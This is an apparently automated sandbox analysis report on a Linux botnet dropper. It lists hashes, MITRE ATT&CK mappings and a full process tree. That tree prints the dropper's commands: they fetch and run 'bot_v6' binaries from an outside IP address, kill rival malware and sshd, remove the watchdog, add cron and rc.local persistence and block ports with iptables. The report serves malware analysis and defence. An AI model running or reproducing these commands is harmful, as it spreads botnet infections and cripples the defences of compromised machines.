ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e

Analysis

max time kernel
123s
max time network
150s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
08/09/2026, 03:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
Size 2KB
Sample260908-ea158azvdz
SHA256 ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
MD5 676a2e012dcf18f74f887dd4362c2b56
SHA1 8bff5ffa0d5efdbc200425f1aeb6b100fc7cb646
SHA512 620ecda3d330fae773c939de5cc099eb6947600f6c189269e42703563ffed5a23dac8a353dc0e975aa7027af7c9139d947f9e017c419c30da866fd007a3c0921
TLSH
T1EA51FDAB66660939385CC55C9C496100B1DF4723012D7914B8BEBFA17F6D9CC63E2774
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
869	chmod
876	chmod
795	chmod
797	chmod
798	chmod
799	chmod
800	chmod
816	chmod
821	chmod
870	chmod
801	chmod
824	chmod
825	chmod
826	chmod

Executes dropped EXE 14 IoCs

ioc	pid	Process
/tmp/.lo_bot_v6_arm7	802	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/.lo_bot_v6_m68k	804	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/.lo_bot_v6_arm64	809	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/.lo_bot_v6_sparc	812	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/.lo_bot_v6_ppc	814	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/.lo_bot_v6_s390x	817	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/.lo_bot_v6_arm	829	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/.lo_bot_v6_hppa	827	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/.lo_bot_v6_mips	833	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/.lo_bot_v6_alpha	835	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/.lo_bot_v6_x86	837	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/.lo_bot_v6_sh4	871	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/.lo_bot_v6_mipsel	873	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/.lo_bot_v6_x86_64	882	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e

Modifies Watchdog functionality 1 TTPs 1 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e

Creates/modifies Cron job 1 TTPs 10 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.Zxgjud	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.VXhmw1	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.1v93Ta	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.HYBV6k	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.RXx66n	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.yUQIUX	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.nhGwxl	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.3ygDiz	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.8ZfcBD	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.GJH5IE	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e

Reads CPU attributes 1 TTPs 34 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/126/status	pkill
File opened for reading	/proc/69/status	pkill
File opened for reading	/proc/782/status	pkill
File opened for reading	/proc/13/status	pkill
File opened for reading	/proc/663/status	pkill
File opened for reading	/proc/898/status	pkill
File opened for reading	/proc/15/status	pkill
File opened for reading	/proc/12/cmdline	pkill
File opened for reading	/proc/177/status	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/823/cmdline	pkill
File opened for reading	/proc/708/cmdline	pkill
File opened for reading	/proc/6/status	pkill
File opened for reading	/proc/68/cmdline	pkill
File opened for reading	/proc/74/status	pkill
File opened for reading	/proc/17/cmdline	pkill
File opened for reading	/proc/772/status	pkill
File opened for reading	/proc/11/cmdline	pkill
File opened for reading	/proc/365/status	pkill
File opened for reading	/proc/18/cmdline	pkill
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/684/cmdline	pkill
File opened for reading	/proc/710/cmdline	pkill
File opened for reading	/proc/6/cmdline	pkill
File opened for reading	/proc/127/cmdline	pkill
File opened for reading	/proc/177/status	pkill
File opened for reading	/proc/687/status	pkill
File opened for reading	/proc/716/cmdline	pkill
File opened for reading	/proc/755/cmdline	pkill
File opened for reading	/proc/817/cmdline	pkill
File opened for reading	/proc/2/cmdline	pkill
File opened for reading	/proc/687/cmdline	pkill
File opened for reading	/proc/11/status	pkill
File opened for reading	/proc/722/cmdline	pkill
File opened for reading	/proc/383/cmdline	pkill
File opened for reading	/proc/722/status	pkill
File opened for reading	/proc/110/status	pkill
File opened for reading	/proc/382/cmdline	pkill
File opened for reading	/proc/715/cmdline	pkill
File opened for reading	/proc/2/status	pkill
File opened for reading	/proc/12/cmdline	pkill
File opened for reading	/proc/68/cmdline	pkill
File opened for reading	/proc/23/status	pkill
File opened for reading	/proc/254/cmdline	pkill
File opened for reading	/proc/364/cmdline	pkill
File opened for reading	/proc/74/cmdline	pkill
File opened for reading	/proc/678/cmdline	pkill
File opened for reading	/proc/773/status	pkill
File opened for reading	/proc/817/cmdline	pkill
File opened for reading	/proc/12/status	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/367/cmdline	pkill
File opened for reading	/proc/71/status	pkill
File opened for reading	/proc/72/status	pkill
File opened for reading	/proc/687/status	pkill
File opened for reading	/proc/687/cmdline	pkill
File opened for reading	/proc/7/cmdline	pkill
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/19/cmdline	pkill
File opened for reading	/proc/3/status	pkill
File opened for reading	/proc/898/cmdline	pkill
File opened for reading	/proc/74/status	pkill
File opened for reading	/proc/383/cmdline	pkill
File opened for reading	/proc/161/status	pkill

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
775	wget
776	wget
833	.lo_bot_v6_mips
873	.lo_bot_v6_mipsel
890	rm

Writes file to tmp directory 15 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.lo_bot_v6_x86_64	wget
File opened for modification	/tmp/.lo_bot_v6_arm	wget
File opened for modification	/tmp/.lo_bot_v6_x86	wget
File opened for modification	/tmp/.lo_bot_v6_sparc	wget
File opened for modification	/tmp/.lo_bot_v6_sh4	wget
File opened for modification	/tmp/.lo_bot_v6_arm64	wget
File opened for modification	/tmp/.lo_bot_v6_ppc	wget
File opened for modification	/tmp/.lo_bot_v6_m68k	wget
File opened for modification	/tmp/.lo_bot_v6_alpha	wget
File opened for modification	/tmp/.lo_bot_v6_s390x	wget
File opened for modification	/tmp/.lo_bot_v6_mipsel	wget
File opened for modification	/tmp/.lo_bot_v6_mips	wget
File opened for modification	/tmp/.lo_bot_v6_hppa	wget
File opened for modification	/tmp/.lo_bot_v6_musl64	wget
File opened for modification	/tmp/.lo_bot_v6_arm7	wget

/tmp/ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
/tmp/ff2d23242993223f350ce95c7f9a2c7216ea242fda70d91fc409e6d81366ab8e
1⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Modifies rc script
PID:718
- /bin/rm
  rm -rf .lo ".wget*" ".curl*" ".tftp*" ".ftp*" ".nc*"
  2⤵
  PID:721
- /usr/bin/pkill
  pkill -9 -f mirai
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:723
- /usr/bin/pkill
  pkill -9 -f sora
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:727
- /usr/bin/pkill
  pkill -9 -f owari
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:732
- /usr/bin/pkill
  pkill -9 -f yakuza
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:735
- /usr/bin/pkill
  pkill -9 -f ECCHI
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:739
- /usr/bin/pkill
  pkill -9 -f minerd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:742
- /usr/bin/pkill
  pkill -9 -f sshd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:745
- /usr/bin/pkill
  pkill -9 -f pwn
  2⤵
  - Reads CPU attributes
  PID:747
- /usr/bin/pkill
  pkill -9 -f zmap
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:750
- /usr/bin/pkill
  pkill -9 -f xmrig
  2⤵
  - Reads CPU attributes
  PID:752
- /usr/bin/pkill
  pkill -9 -f "\\.lo"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:754
- /bin/rm
  rm -f /dev/watchdog
  2⤵
  PID:760
- /usr/bin/pkill
  pkill -9 watchdog
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:761
- /usr/bin/wget
  wget -qO .lo_bot_v6_x86_64 http://178.132.198.200/bins/bot_v6_x86_64
  2⤵
  - Writes file to tmp directory
  PID:781
- /usr/bin/wget
  wget -qO .lo_bot_v6_ppc http://178.132.198.200/bins/bot_v6_ppc
  2⤵
  - Writes file to tmp directory
  PID:783
- /usr/bin/wget
  wget -qO .lo_bot_v6_mips http://178.132.198.200/bins/bot_v6_mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:775
- /usr/bin/wget
  wget -qO .lo_bot_v6_sh4 http://178.132.198.200/bins/bot_v6_sh4
  2⤵
  - Writes file to tmp directory
  PID:784
- /usr/bin/wget
  wget -qO .lo_bot_v6_m68k http://178.132.198.200/bins/bot_v6_m68k
  2⤵
  - Writes file to tmp directory
  PID:786
- /usr/bin/wget
  wget -qO .lo_bot_v6_arm7 http://178.132.198.200/bins/bot_v6_arm7
  2⤵
  - Writes file to tmp directory
  PID:785
- /usr/bin/wget
  wget -qO .lo_bot_v6_mipsel http://178.132.198.200/bins/bot_v6_mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:776
- /usr/bin/wget
  wget -qO .lo_bot_v6_arm64 http://178.132.198.200/bins/bot_v6_arm64
  2⤵
  - Writes file to tmp directory
  PID:778
- /usr/bin/wget
  wget -qO .lo_bot_v6_arm http://178.132.198.200/bins/bot_v6_arm
  2⤵
  - Writes file to tmp directory
  PID:779
- /usr/bin/wget
  wget -qO .lo_bot_v6_x86 http://178.132.198.200/bins/bot_v6_x86
  2⤵
  - Writes file to tmp directory
  PID:777
- /usr/bin/wget
  wget -qO .lo_bot_v6_sparc http://178.132.198.200/bins/bot_v6_sparc
  2⤵
  - Writes file to tmp directory
  PID:788
- /usr/bin/wget
  wget -qO .lo_bot_v6_alpha http://178.132.198.200/bins/bot_v6_alpha
  2⤵
  - Writes file to tmp directory
  PID:789
- /bin/sleep
  sleep 8
  2⤵
  PID:787
- /usr/bin/wget
  wget -qO .lo_bot_v6_hppa http://178.132.198.200/bins/bot_v6_hppa
  2⤵
  - Writes file to tmp directory
  PID:790
- /usr/bin/wget
  wget -qO .lo_bot_v6_s390x http://178.132.198.200/bins/bot_v6_s390x
  2⤵
  - Writes file to tmp directory
  PID:791
- /usr/bin/wget
  wget -qO .lo_bot_v6_musl64 http://178.132.198.200/bins/bot_v6_musl64
  2⤵
  - Writes file to tmp directory
  PID:792
- /bin/chmod
  chmod +x .lo_bot_v6_m68k
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /usr/bin/curl
  curl -fsSL -o .lo_bot_v6_musl64 http://178.132.198.200/bins/bot_v6_musl64
  2⤵
  PID:796
- /bin/chmod
  chmod +x .lo_bot_v6_arm7
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /bin/chmod
  chmod +x .lo_bot_v6_arm64
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /bin/chmod
  chmod +x .lo_bot_v6_ppc
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /bin/chmod
  chmod +x .lo_bot_v6_sparc
  2⤵
  - File and Directory Permissions Modification
  PID:800
- /bin/chmod
  chmod +x .lo_bot_v6_s390x
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /bin/sleep
  sleep 1
  2⤵
  PID:805
- /bin/sleep
  sleep 1
  2⤵
  PID:803
- /tmp/.lo_bot_v6_m68k
  ./.lo_bot_v6_m68k
  2⤵
  PID:804
- /tmp/.lo_bot_v6_arm7
  ./.lo_bot_v6_arm7
  2⤵
  PID:802
- /bin/sleep
  sleep 1
  2⤵
  PID:810
- /tmp/.lo_bot_v6_arm64
  ./.lo_bot_v6_arm64
  2⤵
  PID:809
- /bin/sleep
  sleep 1
  2⤵
  PID:813
- /bin/sleep
  sleep 1
  2⤵
  PID:815
- /bin/chmod
  chmod +x .lo_bot_v6_arm
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /bin/sleep
  sleep 1
  2⤵
  PID:818
- /bin/chmod
  chmod +x .lo_bot_v6_hppa
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/.lo_bot_v6_sparc
  ./.lo_bot_v6_sparc
  2⤵
  PID:812
- /tmp/.lo_bot_v6_ppc
  ./.lo_bot_v6_ppc
  2⤵
  PID:814
- /tmp/.lo_bot_v6_s390x
  ./.lo_bot_v6_s390x
  2⤵
  PID:817
- /bin/chmod
  chmod +x .lo_bot_v6_mips
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /bin/chmod
  chmod +x .lo_bot_v6_alpha
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /bin/chmod
  chmod +x .lo_bot_v6_x86
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /bin/sleep
  sleep 1
  2⤵
  PID:828
- /bin/sleep
  sleep 1
  2⤵
  PID:830
- /tmp/.lo_bot_v6_arm
  ./.lo_bot_v6_arm
  2⤵
  PID:829
- /tmp/.lo_bot_v6_hppa
  ./.lo_bot_v6_hppa
  2⤵
  PID:827
- /bin/sleep
  sleep 1
  2⤵
  PID:834
- /bin/sleep
  sleep 1
  2⤵
  PID:836
- /bin/sleep
  sleep 1
  2⤵
  PID:838
- /tmp/.lo_bot_v6_mips
  ./.lo_bot_v6_mips
  2⤵
  - System Network Configuration Discovery
  PID:833
- /tmp/.lo_bot_v6_alpha
  ./.lo_bot_v6_alpha
  2⤵
  PID:835
- /tmp/.lo_bot_v6_x86
  ./.lo_bot_v6_x86
  2⤵
  PID:837
- /bin/rm
  rm -f .lo_bot_v6_arm7
  2⤵
  PID:842
- /bin/rm
  rm -f .lo_bot_v6_m68k
  2⤵
  PID:843
- /bin/rm
  rm -f .lo_bot_v6_arm64
  2⤵
  PID:844
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:846
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:849
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:852
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:848
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:851
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:853
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:857
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:855
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:858
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:859
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:861
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:864
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:863
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:867
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:866
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:868
- /bin/chmod
  chmod +x .lo_bot_v6_sh4
  2⤵
  - File and Directory Permissions Modification
  PID:869
- /bin/chmod
  chmod +x .lo_bot_v6_mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /bin/sleep
  sleep 1
  2⤵
  PID:874
- /bin/sleep
  sleep 1
  2⤵
  PID:872
- /tmp/.lo_bot_v6_mipsel
  ./.lo_bot_v6_mipsel
  2⤵
  - System Network Configuration Discovery
  PID:873
- - /bin/sh
    sh -c "iptables -A INPUT -p tcp --dport 22 -j DROP >/dev/null 2>&1"
    3⤵
    PID:897
  - - /sbin/iptables
      iptables -A INPUT -p tcp --dport 22 -j DROP
      4⤵
      PID:911
- - /bin/sh
    sh -c "iptables -A INPUT -p tcp --dport 23 -j DROP >/dev/null 2>&1"
    3⤵
    PID:941
  - - /sbin/iptables
      iptables -A INPUT -p tcp --dport 23 -j DROP
      4⤵
      PID:947
- - /bin/sh
    sh -c "iptables -A INPUT -p tcp --dport 80 -j DROP >/dev/null 2>&1"
    3⤵
    PID:954
  - - /sbin/iptables
      iptables -A INPUT -p tcp --dport 80 -j DROP
      4⤵
      PID:964
- - /bin/sh
    sh -c "pkill -9 -f mirai >/dev/null 2>&1"
    3⤵
    PID:990
  - - /usr/bin/pkill
      pkill -9 -f mirai
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:996
- - /bin/sh
    sh -c "pkill -9 -f sora >/dev/null 2>&1"
    3⤵
    PID:997
  - - /usr/bin/pkill
      pkill -9 -f sora
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:998
- - /bin/sh
    sh -c "killall -HUP crond >/dev/null 2>&1"
    3⤵
    PID:999
  - - /usr/bin/killall
      killall -HUP crond
      4⤵
      PID:1000
- /tmp/.lo_bot_v6_sh4
  ./.lo_bot_v6_sh4
  2⤵
  PID:871
- /bin/chmod
  chmod +x .lo_bot_v6_x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:876
- /usr/bin/pkill
  pkill -9 -f "wget.*bins"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:881
- /usr/bin/pkill
  pkill -9 -f "wget.*bins"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:880
- /usr/bin/pkill
  pkill -9 -f "wget.*bins"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:879
- /bin/sleep
  sleep 1
  2⤵
  PID:883
- /tmp/.lo_bot_v6_x86_64
  ./.lo_bot_v6_x86_64
  2⤵
  PID:882
- /usr/bin/pkill
  pkill -9 -f "wget.*bins"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:885
- /usr/bin/pkill
  pkill -9 -f "wget.*bins"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:886
- /usr/bin/pkill
  pkill -9 -f "wget.*bins"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:887
- /usr/bin/pkill
  pkill -9 -f "wget.*bins"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:888
- /usr/bin/pkill
  pkill -9 -f "wget.*bins"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:889
- /bin/rm
  rm -f .lo_bot_v6_mipsel
  2⤵
  - System Network Configuration Discovery
  PID:890
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:892
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:893
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:895
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:896
- /usr/bin/pkill
  pkill -9 -f "curl.*bins"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:899
- /usr/bin/pkill
  pkill -9 -f "curl.*bins"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:900
- /usr/bin/pkill
  pkill -9 -f "curl.*bins"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:901
- /usr/bin/pkill
  pkill -9 -f "curl.*bins"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:902
- /usr/bin/pkill
  pkill -9 -f "curl.*bins"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:903
- /usr/bin/pkill
  pkill -9 -f "curl.*bins"
  2⤵
  - Reads CPU attributes
  PID:898
- /usr/bin/pkill
  pkill -9 -f "curl.*bins"
  2⤵
  - Reads CPU attributes
  PID:904
- /usr/bin/pkill
  pkill -9 -f "wget.*bins"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:905
- /usr/bin/pkill
  pkill -9 -f "curl.*bins"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:906
- /usr/bin/pkill
  pkill -9 -f "wget.*bins"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:907
- /usr/bin/pkill
  pkill -9 -f "curl.*bins"
  2⤵
  - Reads CPU attributes
  PID:908
- /usr/bin/pkill
  pkill -9 -f "curl.*bins"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:910
- /bin/busybox
  busybox wget -qO .lo_bot_v6_musl64 http://178.132.198.200/bins/bot_v6_musl64
  2⤵
  PID:909

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.lo_bot_v6_alpha

Path /tmp/.lo_bot_v6_alpha
Size 715KB
SHA256 922d0f13756ca68d120133da6b36ac688de3aa43d550cd3107c5f666d22e6d83
MD5 90cedd838a55151d30ba75273d15e12c
SHA1 16556e0b76ff79032ec1bf8f9e53d17eda06da05
SHA512 5247831dde07322f1fe193eb3b84bbc35d1a6bd704fc74ac059969ee3e57a297b8a516b561c086e09a2b83180a1452a4b65669d98175a0cb8d6b0270962cd08f
SSDEEP 12288:1ptOHm9m4OIHFPpbgawjmYO7hjMNMVi/wooO:ffdlBbgLyhJC6
TLSH
T11AF43BFFFC4D6E93C341B3BABE8BD4D24372E351273112CAB6852B1019E58868AF1955
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.lo_bot_v6_arm

Path /tmp/.lo_bot_v6_arm
Size 554KB
SHA256 4451957baeb87210cfbe8e6972186c23716c09b8b4f3305d6fa6869751cadb1a
MD5 39271235fda1b9073cb185903de82d0a
SHA1 05226afd9faa50203c9c13d4d4d9e91123bd986c
SHA512 d83f97501d9685ac08ee85b6c020257eaa3bcbe374c272b5a88b03a3a1a347d1b89e7b49b0e2518ecdf4e9671558dbb0aab531f73e339fc08869871660eba710
SSDEEP 12288:IO3jf/+lY8ItdrcdIuXwI0MjP16G58hNpS8pHLbB:T3j58IH0IQwJMj103v
TLSH
T1D7C42855F8809F61C6C539B6F74D42A873174B79D3EB72069A245B303BEB86B0F3A601
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.lo_bot_v6_arm64

Path /tmp/.lo_bot_v6_arm64
Size 594KB
SHA256 8fc7d0505c04ca05f96f6c24a2181923c235f17b6e9276db1ea693b3092ce824
MD5 21ffa2ac98b2cd59458758d3880f3e57
SHA1 df3974239e74cfb7a23301702c1bc94aa2b55889
SHA512 278475e03b0505ec2c8f56dca37df12f80649380e9ca8d9586063182ba3865f6d4ab988a27374e0f2a2deb3acd50e003441e6c4935f4adf24c49296b00fbede9
SSDEEP 12288:rSbnmitqH6ExzZB53gX5qoGHAGOLcs5oV2y3J:rSbwHRzZBdo9GjR
TLSH
T12DD47D99FE4E3C02E3C7E3389B4983E1632B75E4E32352627941531CD9D6AE9CBA1911
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.lo_bot_v6_arm7

Path /tmp/.lo_bot_v6_arm7
Size 410KB
SHA256 0f11ed0b5a721f49641869d493403de9b1b031647e4c70ee88db580f1fdf77a3
MD5 4b0ce16a1088267f39a485a15d3dbd03
SHA1 cd36615a7efbe0168631d9a0f758a3ea74d1875d
SHA512 4a25d7c13129665fdb04f53f817b6d4738548ddaad2f8efec7b940ed9eb528d6f61d31a8ceb11c1492062a4ee4abe569a1d473954ce12ea8af76f5f005037970
SSDEEP 12288:wjcVLwXLQ/p2HfL1TGaq644DnB8p5fLZBSX:zVBaL1SajiD
TLSH
T10094D15AF30A3E83D8D7D535248AC2455B55ED6633E383063B4669BE38393778F28389
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.lo_bot_v6_hppa

Path /tmp/.lo_bot_v6_hppa
Size 617KB
SHA256 12319ad9b5b14cf8be69ee88ba97d690280150ebbc7e9addf99234ba4ddb2e55
MD5 efdc59ae1305f50ae20ce463dcff7015
SHA1 73626f100a5d081c9b221f8267d80cd0596ae02b
SHA512 e086b9e3a014e8b3101b3b2a39b38fee19192e56917b62e781333a9b65e5249ab66691005a6b444e0d626f706c1f0284e8d78268704a10bbb3d393cab198004f
SSDEEP 12288:L4r+d0UDBV0yuP8/pNbdgl8K2qleu4hLUDfoDBFN+Ga8pfnoXQKi9p:kzU/0f0/alULUDgRotC
TLSH
T170D48DAFE7AA54D3C824D27E4FD763695C3146F026738414ABC9204B930B3E85ADCAD7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.lo_bot_v6_m68k

Path /tmp/.lo_bot_v6_m68k
Size 507KB
SHA256 2f756bc937c4ff52b593657ec789dfefd3c15d1ea6d6b09f16c8905b2e15be51
MD5 c47ec698ba62d4d82a68997562f5dde9
SHA1 7176df4655a5f66f06e713d46d6545f959b46afc
SHA512 7d6e53ccfab4100e56cb2ea0ec2d84d884f9d7c19832420aa315955be2cb3593198fddd8d08f93e435f1f12d5be4a5fc6fe512d266a160fa5aaaa2bd987f0109
SSDEEP 12288:3mexXBsI7UVHVBF3gKBnotplDEWkMN6Oc/hVsaAM:3mMsvVfF37o9KVsap
TLSH
